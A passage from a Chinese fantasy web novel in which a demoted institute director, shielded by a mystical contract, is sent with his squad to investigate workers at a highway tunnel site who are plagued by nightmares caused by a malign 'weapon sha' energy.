李大拐连忙站起身热情道:“迟哥儿~,快进屋坐坐,等会这顿饭我来安排,你别动手!”
燕迟站起身来摇摇头,没有进门!
“下次吧,下次你再请我,现在你先好好倒腾屋子吧,你看你都歪倒(方言:意同邋遢)成什么样子了!”
李大拐不好意思的挠挠头,轻轻用力挠动了打结的头发,嘿嘿直笑!
“玉佩收好,好好保重身体,我还等你请我吃饭呢!”
“走出山看看吧,不要一辈子耽误在这大山里了。”
李大拐咬着牙看着燕迟远去的背影,强忍着不让自己哭出来。
他颤抖着拿出一块墨色玉佩,玉佩只有拇指头大小,上面刻着一个打坐的石人像!
轻轻的、轻轻的将玉佩挂到脖子上,双掌抱握着感受着玉佩的温度!
不分开了,再也不分开了!
燕迟离开了李大拐家,转头又去了村长家……
……
几天后,一辆皮卡开进了816所大门!
“燕所,叶所在会议室召开会议,请您过去!”
燕迟刚放好行李,就有人到宿舍门前喊道,他心中一叹,这么急么,那便如你所愿!
“好,我知道了!”
“白樱,你先在屋里休息,我一会就回来!”
他摸了摸小白狐脑袋,然后走出门,向会议室的大楼走去!
816所只有两个会议室,一个是小会议室,最多只能容纳二三十人,另一个是大会议室,同时也是礼堂,足以容纳所里所有人!
今天他要参加的会议在大会议室,想必戏台子已经搭好了,就差他这个主角了!
燕迟嘴角闪过一丝讥讽。
大会议室!
礼台下乌泱泱的坐了一片,除了任务中的、在休假的,剩余的人都来了!
资历老的人坐前面,资历浅的人坐后面,海德星小队坐在二者的交界处!
礼台上叶定方坐在中间,他的左手边是一群年轻执事,右手边有一个空位,再右边是老执事们!
礼台后面是一道横幅:816所全体职工代表大会暨新旧所长交接仪式!
“下面进行下一项进程!”
吱吖!
推门的声响很刺耳,打断了会议,附近坐的人齐刷刷扭头看向门口!
燕迟瞟了眼门臼,明明离开前还有油的!
他面不改色走进礼堂内,径直走到礼台上坐到叶定方旁边的座位上!
“下面进行下一项进程——新旧所长交接仪式!”
礼乐响起,之前的演练有条不紊的进行着!
“燕所,请!”
叶定方起身示意道,看他自信从容的模样,显然是做好了一切准备!
“请!”
燕迟脸上挂着假笑,任谁也不能看透他心底在想什么!
仪式的交接很顺利,一切都向着众人希望看到的方向发展!
“请所长签署交接协议!”
礼仪人员带着两份协议书上台,一份是以前签好的交接协议,另一份是点验清单明细!
在点验清单末尾的结果上,写着这么一句话!
所交接事项皆点验无误,所有程序合法合规,无疏漏错漏之处,无需补充!,自协议签署之日起,权责两清,交接仪式正式完成!
叶定方拿起笔在签字处签上大名,盖上代表自己个人的所长私印!
25.燕顾问——赤血金契
协议来到燕迟这边,
他抓起笔就要在协议上签署名字,但不知为何,之前还书写顺畅的圆珠笔竟断墨了!
怎么划都不出墨!
一旁做司仪的小姑娘脸上的笑容有些僵硬,这可是众目睽睽之下,怎么能出这么大的纰漏呢!
下面观众的眼睛可一直在看着!
幸好这样的大仪式上都会准备备用笔,小姑娘连忙换上备用笔递给燕迟!
丨
刚落下第一笔,备用笔又断墨了!
“这这这!!!”
小姑娘焦急的都要叫出声来!
叶定方注意到旁边的动静,不动声色的挪动脚步当在协议面前,拦住了众人的视线!
“再换备用笔!”他的声音很是平静,看不上这种小伎俩!
小姑娘又给换了一只备用笔,这一次递笔出去前,她还特意在手掌上试着书写,看到写的笔迹顺滑不断墨,才放心交给燕迟!
艹
又断墨了!
司仪小姑娘都要哭了,明明她已经检验过的,可怎么就写不出了!
她接回笔在自己手上书写,也只划出几道红印!
燕迟,这是你的花招吗?
叶定方心中不屑,轻声喊过司仪,让她往后台一趟!
他为了这个大会可是精心筹办了好久,准备了很多反制手段!还以为能遇上什么高招,没想到却是些上不得台面的小伎俩。
司仪匆匆赶回,端来文房四宝!——笔、墨、纸、砚!
上好的狼毫小笔,最好的徽墨,裁剪整齐的上好宣纸以及太极八卦黄石砚台!
墨在出状况时就开始磨了,磨到现在墨色正好!
“请!”
叶定方轻笑致意,他倒要看看燕迟还有什么花招!
燕迟平静的接过狼毫小笔,点上墨水,从容的在协议上签上大名!
下笔流畅,笔迹苍劲有力,任谁看了不赞一声好字!
紧接着他拿出贴身的小盒子,盒子打开,是两方印台!
一方辉煌端正!一方暗淡无光!
但都不重要!
所长金印落下一个清晰的印记,回到盒子中,放在司仪所盛的托盘上!
燕迟取出所长私印,端详一番上面的裂痕,叹了口气,随后沾上印泥,郑重盖在协议书上!
然后将私印交给身旁的司仪!
司仪当着众人的面,将私印收进另一个小盒子内!
不知是不是错觉,她在将私印放进盒子的瞬间,觉察到私印更暗淡了些!
或许是光线的缘故吧!
司仪自我安慰道!然后与其他司仪退到一旁等待下一项进程!
“下面请新老所长交接金印!”
燕迟和叶定方相对而站,此时此刻亦如彼时彼刻,只是这一次他成了送印的一方!
送印什么都不用做,司仪会照着先前的排练做好一切!
司仪上前交接盛印托盘,新所长将自己的私印与所长金印放到一起,然后亲手锁上上一任所长私印的盒子!
礼成!
燕迟面露平静,一点都不像是一名当事人,反而像个置身事外的旁观者!
台下坐着的员工们都在鼓掌,为新所长庆贺!
如果有心人注意到台下的员工们,能发现前排鼓掌的力度比不过后排,前排是机械的鼓掌,后排是热情、热烈的!
所长交接仪式完成,燕迟和叶定方各自回到座位上坐下!
“下面进行会议最后一项进程!”
“关于燕迟同志的职务任命!请所长宣读任命书!”
叶定方站起身,拿起文件宣读!
“……经过上级领导的商议与综合考量,现决议任命燕迟为816所顾问职位!望……”
啪!啪!啪!
与后排的热情不同的是,前排的死寂!
顾问?
什么时候816所有这个顾问职位了?
他们不是不懂顾问的含义,而是太懂了!
816所成员前往各地执行任务时,通常以上级委派的顾问或专家身份介入任务,他们这些老员工每一个都是某顾问、某专家!
正因为如此,他们才知道作为顾问、专家的难处,当地如果不配合,那什么顾问、专家只是一纸名头,就是一个笑话!
一个强龙不压地头蛇的笑话!
以前816所是没有顾问职位的,而现在……
有了!
“请燕顾问宣讲就职感言!”
主持人礼貌的声音很不礼貌!
简直就是杀人诛心!
手段好狠辣!
台上的老执事和台下的老员工等待燕迟的反应,是去他娘的,还是彼其娘之?
只可惜他们要失望了!
燕迟看了空空如也的台面,接过话筒直接脱稿演讲!
“感谢组织对我的认可与安排,我会继续在新的岗位上发光发热……”
哎!
他这么能这么平静?
这是全场人员的心声!就像一块面团任人揉扁搓圆!
唯独叶定方压下眸子,重视起了这个前任所长——燕顾问!
“……我的演讲完毕,谢谢大家!”
“会议到此结束,请各参会人员有秩序散场!”
一时间散会的人太多,燕迟坐在座位上无聊的看着台下纷乱的众人,心里念叨着过会要带小狐狸到那里吃饭,是食堂呢,还是街上路边小店呢!
“燕顾问过一会可有安排?”
叶定方温和的声音在耳旁响起!燕迟扭头看向这个二十出头的年轻人,他很年轻,很年轻,比自己都要年轻三四岁!
这样的人,可以说是前途无量!
“别问,问就是有!”燕迟生冷的回道!
正所谓泥人也有三分火气,先前会议上他不愿被人当枪使,却也是对这个年轻人没有什么好感!
“我有倒是有一些工作交给燕顾问,不知……”叶定方笑容不改的说道!
眼看着人都散得差不多了,燕迟径直站起身来直接离开,完全无视了叶定方!
当个吉祥物顾问就挺好的,不用去管、也不用去想什么事情,更不用照顾某个人的脸色!
是的,他对顾问的看法就是吉祥物!
如果顾问一职很重要,那么就不会轮到他来坐,而是叶定方的亲信来担任!
自古以来好的职位无非就三种分配方式!母婴、血液、性!
如果顾问一职很重要,那么叶定方不会事前与他没有沟通,而是选择在事后!
一般来说,这种突设的岗位能直接给到非亲信,要么是看重实力,要么是趟雷,但往往都是后者,只有把隐藏的雷趟掉了,才有人名正言顺的继位!
当了一次枪就够了,他已经不需要实干业务再进步了!
他在816所的工资、待遇可不会因为职务而改变,这是在当初入所就赤血金契定下的!
是保护亦是枷锁!
算了,天塌下来还有个高的顶着,多想无益,多想无益!
燕迟步伐轻快的回到房间中,
“白樱,我们走!”
“嘤~”
小狐狸从床上轻轻一跃,直接跳到他的肩膀上蹭了蹭他的脑袋!
燕迟带着它开着皮
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卡直接离开所里!
……
有句话说得好,只要你卸下无意义的负担与责任,那么就会活得很开心!
燕迟,不、燕顾问在二十四岁的年纪,就在所里过上了退休生活!
每天握着一个保温杯乐呵呵的和其他人打招呼,游走在吃瓜第一线,到处串门,蹭茶叶,蹭热水,有时候,还和门卫在小亭里磕着瓜子吹着空调侃大山,听着各种奇闻八卦!
临近饭点的时候,定然能在食堂看到他!
如果没看到,那一定是出去吃饭了!
朝九晚五,简直就是神仙生活!
低情商:办公室没了,纯粹一个凑数的!
时间刚过了十几天,所里人看燕迟的眼神从可怜变成了羡慕、嫉妒!
老员工们外出的不仅要处理棘手任务,在所的还要应付各种条条框框的规矩!什么报告啊,什么点名打卡啊!
他们看到这个溜街子,别提多羡慕了!
新员工们风头正盛,是所里最得宠的那批人,但哪怕是规矩宽松的这批人,看着燕迟那闲适模样,心底也泛起酸意!
“叶所,这燕迟在所里过得比门卫还快活,昨天带着食材和门卫在亭子里打边炉。(广粤地区的一种火锅吃法!)”
有人实在看不惯燕迟压他们风头来到叶定方这里打小报告!
“我知道了,你先回去吧!”
叶定方点点头,在新的一页纸上记下投诉!
像这样的投诉已经不止一例了!
翻到前一页!
周一,燕迟缺勤打卡!未到点早退!
周二,上班时间不认真工作,影响办公室秩序!顺走办公桌桌上水果若干!
周三,提前脱岗前往食堂就餐,在食堂胡吃海喝,浪费食物!
……
周五,迟到早退已达五天,相应工作报告未完成,遭受多个办公室联合投诉……
……
自从大会结束,每天都能接到有关燕迟的投诉,一开始还是新员工的投诉,再后来新老员工都来了!
投诉的人走了,叶定方皱着眉头靠在椅子上,从抽屉里拿出一份合同档案翻看,这是燕迟的合同!
也是他有恃无恐的依仗!
这份合同上规定了工作内容、待遇、薪酬,还有已经限定死的补充条款,当时签订合同的双方似乎预见了今日之局面,哪怕燕迟从所长的岗位退下了,他的工作内容、待遇、新酬不会因岗位、职务的调整而改变!
这份合同就是一份铁饭碗、不,是金饭碗,上面的内容都是对燕迟有利的条款,唯一的限制就是燕迟不能以任何方式主动提出辞职、离职!
只能被辞退!或是解聘!
但唯一的死结就在这里!
叶定方多次打申请和报告都被上面驳回了,后面次数多了,竟得到这样一番回复:燕迟不能被辞退、或是解聘!这是上面的底线也是红线!
这很反常,也很不同寻常!
因为依据燕国的《合同法》规定,这份合同上有太多疏漏之处,甚至可以说没有任何法律效力!
只可惜,上面不批准,他不能触底线、碰红线!
叶定方能做到这个位置也不是傻子,多番拖关系打探后,他得知了一个半公开的秘密!——赤血金契!
赤血金契是一份古老的契约,对,是契约,不是合同!
根据所里的老人所说!很久很久以前人皇与天地分立秩序,绝地天通所用的契约便是赤血金契!
他们知晓前任所长与燕迟签订了赤血金契,但也心中存疑,燕迟也没提及过这赤血金契牵扯到了多深的层次!
……
26.古怪工地!
叶定方揉了揉眉头,这一架反倒架出个‘孙猴子’!
不在三界内,不属五行中!
他逐字逐句的看着手中的合同,希望能找到可以利用的漏洞!
突然,他眼前一亮,看到了一句话!
【工作内容:
……
每年出手最多零至三次,解决特殊异常事件!……】
为今之计也只有用上‘拖’字决了!
不能留燕迟在所里晃荡得人心浮动,先把他外派出去!
想到了方案,叶定方翻阅积压的异常事件记录!
这些异常事件都是各地上报上来难以短时间解决、或是需要耗费大量人力物力才能解决的事情,这些异常事件存在,但又不猖獗!
例如:汉都的山魁事件,据记载每隔二十年有山魁出山吃人,吃够一定数量就跑进山中不知所踪,直到二十年后再度出现!
铃城的定甲山,据传此处风水极好,先人葬下,子孙皆披挂,位极公侯!能报上来,是因为此山被当地四大家族争夺,手段过于激烈,方才上报!
江城的牛角山,据传牛角山的两座山头互为犄角,中间有条大江流过,此地自成关门号称小龙门,凡是修为强大的走蛟都想来这关隘闯上一回,闯成了就能直入大海修成龙身!
……
要从这些积压的事件里找出合适的可真不容易,都是一滩滩浑水!
想要解决!说难很难,说易也易!
难的是根治,易的是糊弄!
即便是有最好的方案,也会现实的重重阻力暂时搁置,碰上这种事件,一句道爷,我不伺候了,就是大家都皆大欢喜的局面!
事件没解决不重要,反正最大的锅816所已经背了,日后说起来,他们也只有一个能力不足的次责!
正是因为熟知地方官场特色,叶定方才难以找出一个合适的事件!
铃铃铃!
桌上的电话响了!
“喂!我是!”
铃响三秒后,叶定方拿起座机听筒接听!
“叶所,我们遇到……”
听着电话另一端的声音,叶定方的眉头舒展开来,倒是找到一个合适的事件了!
……
“叶所,你找我?”
燕迟轻敲了两下门,进到屋里!
一进门,他便看到屋里除了主位上的叶定方,一旁的沙发上还坐着三个人,仔细一看,正是顾念海、宋应星、房德三人!
“燕迟,你来了,坐坐坐!房德,你腾个位置出来!”
叶定方热情的招呼道,翻起一个干净的空杯,提起小茶壶倒茶洗了一遍,然后倒了七分满往前一送!
原本房德独自坐一个单人沙发,燕迟进来后,他只能起身坐到长沙发上和顾念海、宋应星挤一块!
顾念海坐沙发中间,他做中转,把茶送到到燕迟面前!
燕迟进门时怀里还抱着小白狐,落座后,白狐自觉的站上肩膀,蓬松的大尾巴像围脖般从另一侧肩膀垂下!
“叶所,你可是所里的大忙人,要见您一面可真不容易!”
这恭维的话听得众人心中齐翻白眼,这话怎么越品越别扭,燕迟‘溜街子’的名号在所里是出了名的,真要想见叶所,完全可以在门口整个小马扎,半个冰西瓜,一袋炒瓜子,就能从上班坐到下班!
“哈哈~,要处理的事情是真不少,燕迟你也是大忙人,都抽不出空来我这里坐一坐!”
叶定方乐呵呵的笑道,并给自己倒上一杯茶水!
男人的嘴,骗人的鬼!
旁边的三人面无表情,双眼放空,努力想着最难过的事情,强忍着不让自己笑出声来!
这两人明明都看不惯对方,却一见面就互相抬起了花花架子!
一番客套之后,终于进入了正题!
“燕迟,这里有一个棘手的异常事件需要你带队去处理!”
叶定方拿出一个档案袋放到桌上,顾念海转到燕迟面前,可他却没有拿起查看!
“叶所,你是知道的,我刚忙完回来,石人事件让我伤了元气!这事之前我都不好意思说!”
燕迟说着,手捂住胸口,装出一副虚弱的模样!
“嘤!”
肩膀上的白樱附声叫了一声!
呵!
叶定方看着燕迟红润的脸庞,饱满的精气神,丝毫看不出到底哪里伤了元气!
“燕迟啊!所里上上下下都很忙,暂时抽不出人手,这一次的事件很棘手,你要为了大局考虑!”
呵!
为了大局?
反正燕迟是不信的!
“叶所,俗话说伤筋动骨一百天,这伤了元气,那就更难补了!那牛道长就是伤了元气没补回来,都已经疯了,还有那八个道长,伤了元气,浑身修为一朝尽废!”
燕迟说的人,正是先前石人事件中的几位道长,他们是主力,打杀一尊天地垂青的石人遭受的反噬一点都不小!
不提这个还好,一提这个叶定方满腔怨气想发都发不来!
那可是九名老道长啊!各自门派中的定海神针!
一朝修为尽废,门派就垮了一半!
可偏偏叶定方还得说声谢谢!
若不是燕迟插手护了一手,有一个算一个都要落叶归根!
正所谓,家有一老如有一宝,虽然修为尽废,那眼界、阅历都还在,最不济,咬咬牙还能用上最后一次!
可话都说道这份上了,叶定方明白再不拿出点干货出来是不行了!
“所里准备推出一项绩效考核制度,绩效评定与任务难度评级挂钩,完成的任务越多,评级越高,绩效也就越高!”
“这是计划书,我能担保最低任务评级的绩效奖金绝对不会低于意向书上的金额!”
叶定方递给过来一个蓝皮文件夹!
一旁的三人听到这话面面相觑,这可是第一手内部消息,他们有种预感——新的风浪要来了!
虽然没看到具体的计划书,却也明白绩效、奖金离不开钱,所里的资金就这么多,要想再加一项资金去向,那必然要削减其他的份额!
计划书就放在桌子上,燕迟也没有去看!
他的是待遇、薪资是固定的,削减不了,对他影响不大!
“念海、房德、应星,你们先出去等会!关上门!”
三人乖乖听话,最
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后一个出门的房德关上了门!
看到房间封闭隔音了,叶定方拿出燕迟的合同笑道!
“燕顾问,你也不想!……”
不怀好意的笑声响彻房间,也不知两人在房间里谈了些什么,等燕迟拉开门的时候,茶桌上的茶壶已经煮起了第二轮新茶!
“你们进来吧!”燕迟平静说道!
海德星小队乖乖进屋,坐到老位置!
“这一次任务,燕顾问是队长,海德星小队是队员,好好完成任务,完成好了,给你们算两个绩效,一个是本次任务的,一个是之前石人任务的!”
听到这句话,三人面露喜色,虽然现在啥都不确定,但能肯定,石人任务的评级绝对不低!
“保证完成任务。”X3
“明白!”
燕迟拿起了档案袋查看这一次的任务!
……
三个小时后,
一辆越野车和一辆皮卡一前一后开出816所大门!
所长办公室!
叶定方翻看一本古籍,不时的在本子上记录着什么!
只见,本子最上方写着几个大字!
关于燕迟赤血丹契的推测记录!
……
“念海,我们这一次任务要对付的是什么东西?”
房德开着车,随意找了个话题聊天!
“不知道!”
顾念海摇摇头!他也看过档案,可也拿不准这次的对手!
这次是这次要去的是一处在建高速路工地,事件发生的位置是在一处隧道中!
一开始,公路建设得很顺利,直到那座隧道建成后……
……
“哎呀!专家们,你们总算来了!敢问各位专家这么称呼?我叫杨易,是工地的负责人,你们叫我杨工就行!”
一个带着白帽子的中年男人热情的和几人握手!
燕迟和宋应星下了车走在前面,顾念海和房德落在后面!
“我叫燕迟,是队长,她叫宋应星,后面那两个,高的是顾念海,矮的是房德!你叫我燕顾问就行!”
燕迟为几人作介绍,只是这介绍简单直白,让三人有尴尬!
“燕顾问,我等你们等得好辛苦啊,来来来,你们远道而来辛苦了,特意为你们准备了洗尘宴!请跟我来!”
杨工一脸愁容,却强打欢笑拉着几人就往餐厅走去,工地已经停工大半个月了,但停人不停薪,哪怕只是保底底薪,那一群人牛吃马嚼的可都是钱啊!
“杨工,路上顺路介绍一下情况吧!”
燕迟直接问道,他从杨工身上看到了感兴趣的东西!
“不着急,不着急,先吃饭,先吃饭,再急也不急不上这一时半会!”
杨工脸上笑容不改,内心在滴血,都人命关天了怎么可能不着急!
可他也知道,这多半是客套话,要真信了,只会平白得罪人!
燕迟见他现在不想说也没再多问,但却让杨工肯定了内心的想法!
饭桌上很丰盛,鸡鸭鱼肉样样不缺,中间还有一只烤羊,看得出来是真上了心来招待,这前不着村后不着店的地方,要整这么一只烤全羊可不容易!
27.兵煞!
“各位专家难得来上一趟,快落座,我们这都是山沟沟,没啥拿得出手的,还请专家们不要介意!”
杨工热情的招呼着,旁边几个戴白帽子的人一起陪着笑!那几人面容坚毅,肤色发黑,裸露在外的手臂能看到凸起的青筋!
这年头的土木人都是实干派,实操大于理论!他们在工地现场的时间要比在项目部办公室多得多!
燕迟没有客气,直接做上了主位,海德星三人跟着一起坐下!
杨工和其他几人见状,也跟着落座!
“燕顾问,各位专家,这是赵毅,项目的技术负责人,整个工程的施工技术、方案就是他来负责的!”
杨工介绍的是左手边一个高瘦的中年人,带着一副圆框黑边眼镜,看上去很是温和!
“燕顾问好,我是赵毅,这条路是我看着建设的,有什么需要协调的地方尽管和我说!”
赵毅豪爽的拍着胸脯说道!
“赵工幸会幸会!我们这次来有杨工赵工帮忙,事情就好办很多了!”燕迟笑眯眯道!
杨工听得笑呵呵的,继续介绍下一人!
“这是小杨,他叫杨开,是大工头,负责管理整个现场的工人,这是小王,现场施工负责人,也是这一次事件的亲历者!”
小杨的身材有些发福,手上带着一块金色腕表,脖子上还挂着一条金项链!
杨工说他是大工头,其实是自谦,实际上应该是工人老板,真正管着工人吃喝拉撒的人!
小王很年轻,看上去约莫四十岁,但燕迟能看出来这人才约莫二十七八的年纪!
能看上去这么‘老成’,除了他是亲历者外,还和他是现场施工负责人的身份脱不开关系,每天遭受风吹日晒,四处奔波,再好的皮肤也经不住这么造!
眼见杨工已经介绍完他的人,燕迟也简单介绍海德星三人!
“来,我们碰一杯,为这次见面开个好头!”
燕迟举起杯子提议道!众人纷纷附和!
“祝我们旗开得胜,马到功成!”杨工说道!
“万事顺利,平平安安!”赵工说道!
“大吉大利!”小王说道!
“……”
众人在这一杯酒下下肚后,很快熟络起来,相互攀谈,举酒相邀好不热闹!
很快,酒过三巡,菜过五味!
在桌上燕迟的身份最高,除了最开始喝了几杯,后面再也没喝过,他说自己不胜酒力,也没人再给他敬酒,纷纷找上了海德星三人!
杨工、赵工、杨老板和海德星三人喝了酒,拉近了关系,什么天南地北的都能吹嘘一阵,可偏偏对这个工地的现状避而不谈!
小王说话的兴致没有那么高,大多时候都在为杨工挡酒!他的眉间始终有股忧愁散不去!
“杨工,讲讲工地上的那件事呗!”
燕迟主动挑起了新的话题,打断了热热闹闹的气氛!
杨工、赵工、杨老板脸上的笑容顿收,他们互相对视了一眼陷入了沉默,小王嘴唇几次开合微动却没有出声!
最后还是杨工说话了!
“燕顾问,这件事其实我是想在饭后再提的,但您提到了,我再拖就不尊重了!”
杨工的话只是让燕迟微微一笑,没有评价,示意他继续说!
“这事情要从飞来山隧道说起,飞来山是一座石头山,所以当初建设的时候我们采用了爆破掘进的方式!”
“隧道建设的时候很顺利,基本上没有遇到过什么问题,直到隧道打通后,怪事就开始了!“
“刚开始只是有几名工人变得嗜睡,经常误工,到了班上做工也心不在焉,问他们也只是说做了噩梦,没有睡好!当时只是打发他们回去补觉!”
“在那之后的一周时间,嗜睡的工人越来越多,甚至小王也中了招变得嗜睡起来,问缘故,都说做了噩梦!但具体是什么噩梦,他们自己也说不清楚!”
“开始我们把人送去了市医院,市医院没能检查出问题,只是说睡眠不足,让多补觉!”
说道这里,杨工脸上一脸无奈!当初他听到这个补觉的建议时,差点想骂那个医生同学庸医!每天能睡十七八个小时的人,说睡眠不足,要去补觉。
简直不要太离谱!
“发现情况不对后,我猜测可能是遇到什么脏东西了,前后找了几批专家,都没完全解决这个事情,只是让工人们不那么嗜睡,但做噩梦却没有停下!只要有几天不管,那嗜睡的症状又复发了!”
杨工毫不客气的将祖传中医同学的功劳加在自己身上!
“大概的事情就是这样了!小王是亲历者,可能知道的多一些!”
杨工简单介绍了事情的经过,并向燕迟推荐了小王!
“你们觉得呢?”
燕迟看向海德星三人!
顾念海与宋应星对视一眼,决定关门放房德,呸,不是!说错了!
是民主投票二比一,有事房德上!
房德已经习惯了自己的定位,乐呵呵看向小王!
“你现在还在做噩梦吗?”
小王点点头,他每次睡觉都在做噩梦,睡醒后只觉得头疼厉害,休息一阵就好了,整个人从内到外感觉好疲惫,提不起力气!
“对,我感觉总是在做同一个梦,但是什么梦我醒来后就忘得差不多了,只记得我的梦里有一个血色的世界!”
“有意思,有意思!”
房德摸摸下巴,基本上能确定他们遇上了脏东西!但具体是什么,还不好判断!
他抬眼看了杨工一眼,觉得这人不老实,藏了不少东西!
“房德,拿出点本事来,杨工出了考题,你要是回答不上来,我今晚可不好来吃晚饭啊!”
燕迟拿了张纸巾擦擦嘴,对房德提醒道,房德这人有点脑力,但不多,不适合这种弯弯绕绕的拉扯!
闻言,杨工憨厚的笑笑,就像地里老农般淳朴!
他当真什么都不知道?
这话听听就行,小王能一同来陪酒还不能说明问题吗?
前前后后来的那几批‘专家’里面,至少有两批是有真才实学的,816所一批,能知道816所的存在又是一批!
虽然不能治本,但好歹看出了问题,能治标(小王)!
该说的、能说的都说到位了!
四十多岁能做到工地负责人的位置,智商、情商双在线的!
听到燕迟这么说,房德只能拿出点真本事来!
他把一直背着的背包转到身前,拿出来一个暗黄色木牌递给小王!
“你握着这个,把身上的护身符摘下让我瞧瞧!”
木牌正面刻着真武大帝伏魔图,背后铭刻乾元有将,顶带三台。披发圆将,真武威灵!……魁刚正气,是吾本身。天符通现,大保乾坤。急急如律令!
小王有些迟疑,但木牌入手,仿佛有一股温和的力量从手中涌进身体让他感觉精神不少!
见状,他磨蹭的速度顿时快了起来,身上从领口下去,在胸口摸出一张白色透明袋子包裹的符篆出来!
房德看了一眼,就认出这是龙虎一脉画出的护身符!嗯,那帮年轻人的手笔!
符篆有些发暗,看样子还能挺不少时间!
“法眼!开!”
房德捏个法决,低喝一声!目光直勾勾的看向小王,只见小王身上缠绕一股暗红之气,那股气息飘逸不定,却又深深扎根体内五脏六腑,极为难缠!
“是煞气!”
房德皱眉道,顾念海和宋应星暗自使了手段,同样看到这一幕。
王工三人闻言脸上挂上喜色,这次请到高人了!
未等三人出声,房德有心显摆,当即便想试试这煞气成色、威能!
在他看来这煞气虽然难缠,却不是很危险,不然小王也撑不到他们到来了!
“真武荡魔,乾坤镇狱,斩!”
房德从兜里掏出一张真武符篆,捏了个剑指夹在手上,径直朝那煞气劈落!
符篆引动了小王手上的真武伏魔牌得到加持,笔挺挺的像把长剑朝那股暗红之气斩下!
眼瞧那煞气便要被斩断,不想,那股暗红之气竟化做无柄斧头,后发先至,主动迎上长剑!
仅是一瞬,长剑破碎,符篆无火自燃!
“靠!是兵煞!”
房德骂了一声,瞬间松手,将符篆甩落,符篆没掉到地上就已经燃尽。
他认出来了这股煞气是兵煞,最罕见、也最难缠的几种煞气之一!
兵煞,至刚至阴!煞气成兵,专破万法!
“你们修路的时候是不是挖到了什么古代兵器,或者什么奇奇怪怪的东西!”房德连忙问道!
兵煞,多见于冷兵器中,它是兵戈之气加煞气外再融入其主人意志而成!
杀伐极重!
凝练兵煞最好的地方就是战场上,其主人持冷兵器不停的拼杀,杀到癫狂时便有极小概率凝聚一丝兵煞于兵刃直上,兵煞成,则无所惧,见敌慑胆,气高三尺,刃利三分!
但兵煞来得快,去得也快
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,战斗一结束,兵煞溃散成了普通煞气,想要长久凝聚一缕兵煞,百战不死,血染千阵!
小王皱眉摇头,他说道:
“飞来山那一段路的施工很顺利,没有遇到过什么问题,也没有挖到什么古代兵器,或是什么奇怪物件!”
嗯?
不对劲!
房德认真看着小王眼睛,继续发问:“那修路的时候,你是一直在现场吗?有没有那天请假过,或者暂时离开过!”
小王想都没想,直接了当的回道:“没有,那段时间我绝对没有请过一天假!每天都是最早到的现场,最后一批离开的,有什么加班的也没落下过!”
他这些时日经常被问这类问题,为此他还回去翻阅过自己的日记,确认自己那段时间的动向与工地的情况!
小王有每天写日记的习惯,每天记下来的情况就像是老太太的裹脚布——又臭又长,大大小小、事无巨细的都记上去了!
大到工地各工序进展,各施工器械、材料用料的情况,各班组工人及名字,小到自己日常琐事,工人日常八卦、笑话故事!
整本日记堪称工地录像机!
看到小王那双诚挚的眼神,房德信了,但也更想不通了,那这群人是怎么沾染上兵煞的!
难道是兵煞见这群人与自己缘分?自愿献身?
转瞬,他摇摇头,散去这个可笑的想法!
“杨工,那飞来山有什么说法吗?我们先休息会,到时候去飞来山看看情况!”燕迟问道!
:杨工愣了一瞬,当即反应过来,只听他像个导游般介绍飞来山的由来,从熟练程度看得出来显然不是第一次了!
飞来山是附近村子的叫法,至于为何这么叫,那是因为祖祖辈辈都这么叫的!
据说很久很久以前,那里只是一块空地,突然有一天,天上飞来一座大山砸在空地上,而那座大山落下之后就没了动静,成为了现在的飞来山!
有人说山里埋藏了无数金银财宝,也有人说这座山是某个王朝大臣的陵墓,有无数陪葬品!还有人说这飞来山是天上掉落的星星!
……
“但那都不是真的!我们勘探过了,这山是石头山,土层只有三米到五米的厚度,再往下就是坚硬的石头了。”
“我们挖通了隧道,别说什么金银财宝了,就是一滴水也炸不出来,完全就是地地道道的大石头!”
杨工的语气有些幽怨,对这又臭又硬的飞来山有些苦恼!
“你们没少想法子吧?有没有遇到什么怪事?”
顾念海突然发问,他看着兵煞察觉到了不对劲!
这兵煞太过温和!
众所周知,凡是被归咎于煞的,都不是好的东西!
兵煞杀伐极重,杀伤性极强,这小王竟然只是睡觉做噩梦,嗜睡,一张符篆就能起到治标的作用,一点不合理!
见识过房德的本事,杨工也不藏着掖着,直接把吩咐小王到他办公室去取文件!
“等等,先把木牌还我!”
小王起身时被房德拦下,有些不舍的交出木牌,这可是好东西,也不知都要多少缘才能换到,等拉近关系再问问看!
这样的念头一闪而过,他将木牌还给房德,小心翼翼的把符篆放回胸口处!
木牌接过的瞬间,房德面色一苦,暗道玩大了!
小王看房德的模样,还以为被对方察觉到自己的想法,不高兴了,他自觉的加快脚步离开!
“说起怪事,倒是有一件,早些时候,工人们中招的时候,我们请到了个假道士,买了一批黑狗和大公鸡去到飞来山隧道!”
说道这里,杨工面露惊惧,他牙齿咬的咯咯响,身上不停的发颤,显然被吓到了!
燕迟抬手拍了拍他肩膀,温声说道:
“慢慢说不要急!”
杨工深吸了几口气,这才平复了些情绪!
“那天我带着那名道长还有几名工人,拉了九条大黑公狗,都是没□□过的,还有九只大公鸡!”
“我开着小车带着道长,工人开着皮卡跟着后面,到了隧道,道长指挥着工人把那些狗还有鸡扛进隧道里,他们没走多远,也就在隧道进去七八米的地方!”
“因为道长要做法,我和工人们都退到隧道边缘!”
“当时只看到那道长拿起桃木剑随手一挥,那些笼子里的黑狗、公鸡全都暴躁起来,疯狂的撞在铁笼上,要么就是互相撕咬!就,就好像都疯了!”
杨工说道这里,脸上的面皮抖了抖,很是惧怕!
28.勘探现场
“那道长突、突然暴毙了,七窍流血,所有的狗和鸡都发狂死在笼子里!”
这就对上了!
确实是兵煞!
顾念海肯定了心中的猜测!没有理会还在发抖的杨工,多大个人了还害怕得跟个孩子似的!
“杨总,赵经理,资料拿来了!”
小王声音从屋外传来,他的脚步很快,下一秒就推开餐厅门来到桌前!
“我不看了,给专家吧!”
杨工闭眼道,衣服下是没完全退去的鸡皮疙瘩!
“杨工,让小王带我们去休息室吧,晚些时候,再带我们去现场看看情况!”
“小王,带专家去休息室吧,要招待好专家,明白没!”
“明白了!”
燕迟一行人在小王的带领下来到一个空集装箱房间,房间有四张空床,还有一个大沙发,一张桌子,配有风扇!
房间打扫得很干净,床上的席子也是新换的!
“燕顾问,我在隔壁的隔壁房间休息,你们有什么事情喊我就行!另一边的房间还在清理中,等到下午,宋顾问就能住进去了!”
小王的记忆力很好,只介绍了一遍就能记住所有人!
“嗯,有事情我们会喊你的,你先去休息吧!”
“嗯,好的,燕顾问,我的房间在隔壁的隔壁,有什么需要直接喊我就行!”
听道燕迟下逐客令,小王礼貌的离开了,临走时顺手带上门!
“一人一张床,先休息先,晚些时候再出门!”
